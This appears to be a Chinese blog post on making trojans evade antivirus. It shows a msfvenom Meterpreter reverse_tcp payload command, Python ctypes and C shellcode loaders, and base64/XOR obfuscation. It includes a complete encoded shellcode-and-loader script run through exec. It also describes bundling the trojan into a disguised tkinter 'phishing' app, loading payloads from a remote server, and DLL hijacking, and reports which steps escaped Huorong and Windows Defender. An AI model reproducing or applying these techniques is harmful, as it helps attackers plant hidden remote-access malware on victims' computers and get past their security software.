首页 > 其他分享 >内网渗透-免杀

内网渗透-免杀

时间:2024-03-24 22:35:49浏览次数:17  
标签:免杀 渗透 18 57 28 50 40 58

木马免杀

免杀主要是对木马对应的二进制码(shellcode)进行混淆、加密(绕过特征检测),让杀毒软件识别不出来。

msfvenom-shellcode

使用msf生成shellcode(马对应的16进制),再使用高级语言加载上述生成的shellcode。然后把python程序打包成exe文件

msfvenom -p windows/x64/meterpreter/reverse_tcp -f py -o shellcode.py
pip install PyInstaller
pyinstaller.exe -F -w source.py  生成的exe文件会把运行python需要的环境解压到一个临时文件(用c语言好一些,程序更小)

加载代码:

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0,len(buf),0x3000,0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage),ctypes.create_string_buffer(buf),len(buf))
handle = ctypes.windll.kernel32.CreateThread(0,0,ctypes.c_uint64(rwxpage),0,0,0)
ctypes.windll.kernel32.WaitForSingleObject(handle,-1)

上述直接打包python当exe会被火绒直接杀掉

杀软查杀:

静态查杀:特征匹配进而查杀

动态查杀:根据行为进行查杀

代码实现简单免杀

(1)

base64加密shellcode
对base64结果每个字符进行异或运算
拼接异或运算结果
buf = shellcode
result = base64.b64encode(buf)

source = ''
for a in result:
    temp = c^137
    source += str(temp)+'-'
print(source[0:-1])

解密文件
secretCode = 加密结果
b64=''
list = source.split('-')
for i in list:
    temp = int(i)^137
    b64+=chr(temp)
print(b64)
buf=base64.b64decode(b64)
print(buf)

加载器加密
把加载器代码写成字符串,用exec把字符串当代码执行
字符串就可以加密解密
解密加密的加载器代码密文,执行加载器代码从而运行shellcode

注意:上述方法依然会被火绒查杀

(2)

上述基础上尝试把加载器也进行加密,然后解密执行
发现对加载器和shellcode进行加密,再在恶意文件中分别进行解密,并使用可绕过火绒的查杀,双击运行火绒也没报毒。windwos自带的扫描时没报毒,但是一运行就查杀了(动态查杀)
import base64
import ctypes
code = '84-62-18-63-78-43-63-20-1-58-58-58-58-62-61-41-42-45-57-40-46-45-33-50-54-31-49-23-40-50-15-40-34-62-18-55-46-19-19-50-18-74-50-28-47-47-51-49-40-50-15-2-46-62-28-43-15-75-11-48-40-63-51-58-9-63-3-19-29-58-50-8-50-62-51-57-2-42-74-57-58-24-51-18-76-45-49-50-18-74-50-28-42-45-60-55-42-17-3-50-58-31-57-22-28-35-28-34-56-12-50-43-19-35-50-58-58-58-56-55-28-50-28-58-58-58-57-50-19-24-57-75-33-75-28-57-75-62-40-55-42-56-57-42-40-42-51-42-18-75-28-34-79-74-33-50-84-67-23-57-18-1-40-50-47-47-51-49-40-58-51-44-40-63-51-58-9-62-51-57-2-42-74-57-58-24-62-79-79-51-35-3-47-58-53-54-49-58-19-61-52-31-61-74-73-61-19-62-18-75-58-16-40-42-51-42-33-16-60-55-63-62-19-62-18-75-58-24-40-42-51-42-42-34-8-62-18-62-28-57-75-62-61-34-42-45-19-30-44-45-11-57-44-62-61-33-42-45-11-50-28-80-12-28-42-45-55-84-79-61-19-57-44-45-11-50-18-3-55-11-40-84-84-84-84-74-74-49-13-21-31-1-54-23-67-1-54-28-58-58-42-45-33-49-18-30-33-50-28-30-2-28-58-42-58-58-40-34-21-23-40-25-12-56-58-63-58-78-12-48-28-9-74-75-61-46-40-34-21-16-47-50-21-3-42-25-11-54-31-2-34-51-84-66-45-54-18-30-11-20-58-42-62-58-58-61-23-57-14-18-22-58-26-12-63-84-74-44-20-48-42-45-78-42-46-62-75-3-2-46-75-3-12-62-17-84-12-62-18-49-12-16-17-84-12-62-18-49-12-46-60-77-77-28-84-29-79-43-84-45-40-50-21-51-26-19-57-57-44-62-2-49-79-16-18-49-80-46-60-77-22-26-45-75-34-29-84-45-19-24-57-75-56-16-21-84-1-21-35-23-77-49-54-58-58-58-57-50-28-80-12-42-40-50-21-18-47-47-51-49-26-28-41-57-44-62-18-49-80-46-60-77-58-15-21-50-35-84-84-45-28-84-28-58-29-23-45-50-28-67-42-28-35-20-21-73-26-16-57-57-44-44-28-58-62-58-58-58-42-45-19-50-18-29-49-50-54-24-23-57-14-23-18-16-46-80-35-84-74-46-18-49-12-75-22-49-3-75-75-3-2-46-22-49-67-62-18-49-73-16-18-49-80-46-60-77-58-15-21-50-35-84-84-45-28-84-28-58-29-40-19-34-42-45-31-33-26-58-57-58-58-58-57-57-44-60-20-58-44-16-60-77-56-2-67-43-54-43-84-45-45-74-23-57-14-21-45-14-47-44-51-84-74-46-21-84-1-14-16-67-84-84-84-84-40-58-51-63-40-56-21-60-40-50-35-73-31-25-41-57-84-80-31-34-26-28-57-33-40-24-29-56-67-55-44-18-45-13-84-45'
c1=''
for i in code.split('-'):
    temp = int(i)^123
    c1 += chr(temp)
buf=base64.b64decode(c1)

# strc='ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64;rwxpage = ctypes.windll.kernel32.VirtualAlloc(0,len(buf),0x3000,0x40);ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage),ctypes.create_string_buffer(buf),len(buf));handle = ctypes.windll.kernel32.CreateThread(0,0,ctypes.c_uint64(rwxpage),0,0,0);ctypes.windll.kernel32.WaitForSingleObject(handle,-1)'

strc1='38-76-45-74-28-56-41-5-51-17-27-15-29-18-45-12-29-60-74-13-37-39-53-10-37-40-8-5-50-22-74-40-30-39-53-79-27-40-57-12-46-40-7-12-29-77-50-10-28-18-41-5-27-55-19-8-37-43-78-21-27-55-19-8-37-39-50-10-38-78-70-78-30-40-74-79-49-21-46-72-28-17-27-75-28-56-57-17-37-44-62-70-54-56-49-79-26-39-61-19-28-6-74-76-30-40-74-20-29-56-8-10-30-77-41-6-29-18-41-12-50-5-54-10-41-18-19-6-27-55-41-23-29-58-57-12-29-56-70-21-52-59-62-12-29-56-41-10-52-56-53-78-37-22-20-12-50-55-24-5-50-59-62-8-51-59-61-75-49-59-62-15-48-77-49-79-26-39-61-19-28-6-74-76-30-40-74-20-29-56-8-10-30-77-41-6-29-18-41-12-50-5-54-10-42-17-45-12-43-40-70-77-37-42-78-19-29-40-70-6-26-44-23-21-27-55-19-8-37-39-50-10-38-78-70-78-30-40-74-79-49-21-46-16-28-17-27-75-28-56-57-17-37-44-20-12-38-76-45-74-28-56-41-5-51-18-49-6-37-40-57-79-37-41-70-5-27-55-53-15-29-18-27-25-38-17-41-18-37-18-41-6-52-56-53-78-37-22-20-12-29-56-41-10-52-56-53-78-37-22-20-15-48-77-23-23-29-18-45-12-37-44-62-70-54-56-49-79-26-39-61-19-28-6-74-76-30-40-74-20-29-56-8-10-30-77-41-6-29-18-41-12-50-5-54-10-46-76-53-19-38-39-45-19-41-56-23-6-37-40-57-20-52-59-62-12-50-60-7-21-27-55-19-8-37-39-50-10-38-78-70-78-30-40-74-79-49-21-46-16-28-17-27-75-28-56-57-17-37-44-20-12-50-60-8-8-51-59-62-15-48-77-49-79-26-39-61-19-28-6-74-76-30-40-74-20-29-56-8-10-30-77-41-6-29-18-41-12-50-5-54-10-41-77-57-15-27-58-37-9-28-19-49-15-29-18-27-12-37-42-70-22-30-18-41-21-27-60-23-16-38-40-74-20-29-56-42-12-51-43-58-15'
strc=''
for h in strc1.split('-'):
    temp = int(h)^127
    strc+=chr(temp)
strc2=base64.b64decode(strc)
exec(strc2)

钓鱼应用

python的tkinter库

做一个应用程序,在里面加入用之前思路加密后进行免杀的木马程序。运行正常应用木马程序跟着运行。

注意:python打包exe文件其实不是编译成exe,exe文件只是打包了python的运行环境,运行exe环境被加载到某个目录

网络分离免杀

把恶意代码,加载器代码放到远程机器,代码request去请求远程的恶意代码和加载器代码,然后加载运行。

注意:恶意代码请求到后要转为二进制

image-20240314225437143

本地分离:就是把恶意代码和加载器代码放到文件里面,写程序加载文件内容然后执行

C语言DLL加载shellcode

什么是DLL

DDL:动态链接库,无法自己运行,需要调用

dev-c++创建dll项目编译好dll文件

python调用dll

import ctypes
func = ctypes.CDLL("路径")
func.Hello()

c语言加载shellcode

buf[]=shellcode;
void start1(){
    ((void(*)(void))&buf)();
}

void start2(){
    void *p = VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
    MEMCPY(P,BUF,SIZEOF(BUF));
    CODE code = (CODE)p;
    code();
    
    HANDLE myHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0,0);
    void* exec = HeapAlloc(myHeap,HEAP_ZERO_MEMORY,sizeof(buf));
    memcpy(exec,buf,sizeof(buf));
    ((void(*)())exec)();
}

main函数调用

DLL劫持免杀

在DLL文件中植入木马,将其模拟成别的应用程序(有数字签名最好)调用的函数名

需要找到正常程序调用的DLL函数、参数

(1)DLL函数植入shellcode

(2)一个程序调用DLL

标签:免杀,渗透,18,57,28,50,40,58
From: https://www.cnblogs.com/q1stop/p/18093230

相关文章

  • 摸爬滚打半年,我是如何从小白进阶到渗透测试工程师
    前言工作也好几年了,在这摸爬滚打中,遇到了服务器被黑,网站被人DDOS攻击,数据库被篡改等等。服务器也不是你说不让人上就不让人上的,所以IT安全这个话题还是比较沉重的,涉及的东西很多,只有你了解得更多,你才会知道你所了解的安全其实是那么少。【点此开始渗透学习】梦想的开始......
  • 网站渗透这块水太深,你把握不住!但你叔我能(十年经验分享)
    很多朋友问我,想搞网络安全,编程重要吗,选什么语言呢?国内其实正经开设网络安全专业的学校很少,大部分同学是来自计算机科学、网络工程、软件工程专业的,甚至很多非计算机专业自学的。因此不像这三个专业,有系统的课程体系,大一教什么,大二教什么,大三又教什么,那么清晰明白,网络安全......
  • 渗透测试报告
    渗透测试目标testfire.net使用工具awvs、goby、BrupSuite、多地ping渗透过程使用多地ping,没有dns手工测试万能密码发现sql注入,搜索框有xssAWVS扫描结果漏洞全已手工验证goby扫描结果目前发现漏洞6个xss一个sql注入......
  • Metasplotiable靶场渗透
    Metasplotiable靶场渗透一.信息收集1.获取IP地址由于虚拟机和本主机在同一局域网下,可以使用ipconfig指令查看主机和靶场的网络地址,再使用Nmap对靶场进行扫描,进行信息收集。​​IP地址的网络地址为192.168.172/24,使用Nmap扫描查找虚拟机对应IP地址。​如图,在本局域网下共运......
  • 如何使用Rayder组织编排漏洞侦查和渗透测试工作流
    关于RayderRayder是一款针对漏洞网络侦查和渗透测试自动化工作流工具,该工具本质上是一个命令行工具,旨在帮助广大研究人员更轻松地组织、编排和执行漏洞侦查和渗透测试工作流。Rayder允许我们在YAML文件中定义一系列功能模块,且每个模块都由要执行的命令所组成。Rayder可以......
  • 10大漏洞评估和渗透测试工具【附安装包】
    1、NetsparkerSecurityScanner专为企业设计的强大的漏洞扫描和管理工具,它可以检测和利用SQL注入和XSS等漏洞。https://www.netsparker.com/product/2、AcunetixScanner针对中小型企业的Web应用程序漏洞扫描程序,但也可以扩展到更大的组织。它可以检测SQL注入......
  • 黑客渗透知识总结
    目录渗透测试工程师面试题大全知孤云出岫 整理1.拿到一个待检测的站,你觉得应该先做什么?2.mysql的网站注入,5.0以上和5.0以下有什么区别?3.在渗透过程中,收集目标站注册人邮箱对我们有什么价值?4.判断出网站的CMS对渗透有什么意义?5.一个成熟并且相对安全的CMS,渗......
  • 【小猪学渗透】打靶第2天:DVWA入门:暴力破解、命令注入、文件上传
    暴力破解low题目界面如上先抓个包试试,发送到intruder可以看到用GET数据包传输,username和password都是直接写在了url上在password后面的数字上加上$123$这样好进行替换。报错,没有加载字典,在知乎上找到了一篇文章讲字典的找到了一个老的字典库开始攻击,发现......
  • 【小猪学渗透】打靶第1天:DVWA入门:SQL注入、SQL盲注
    前言小猪同学正式开始了渗透测试的学习,今天是入门打靶DWVA--真是开心的一天呢--参考文章这是一篇来自于csdn的攻略文开始-环境搭建小猪同学已经事先搭建好了靶场。sql手工注入low输入1and1=1判断注入点输入1’and1=1报错发现注入点,受到单引号闭合的影响......
  • 【渗透工具】BurpSuite汉化无cmd框版安装教程
    【本文仅记录个人安装过程,教程来自:https://www.52pojie.cn/thread-1544866-1-1.html】安装链接123网盘(不限速需登录免客户端)https://www.123pan.com/s/F2W5Vv-Rk7Vv.html提取码:52pj安装步骤选择所需安装的版本:笔者下载2022.11版本并解压:双击运行文件夹中的清......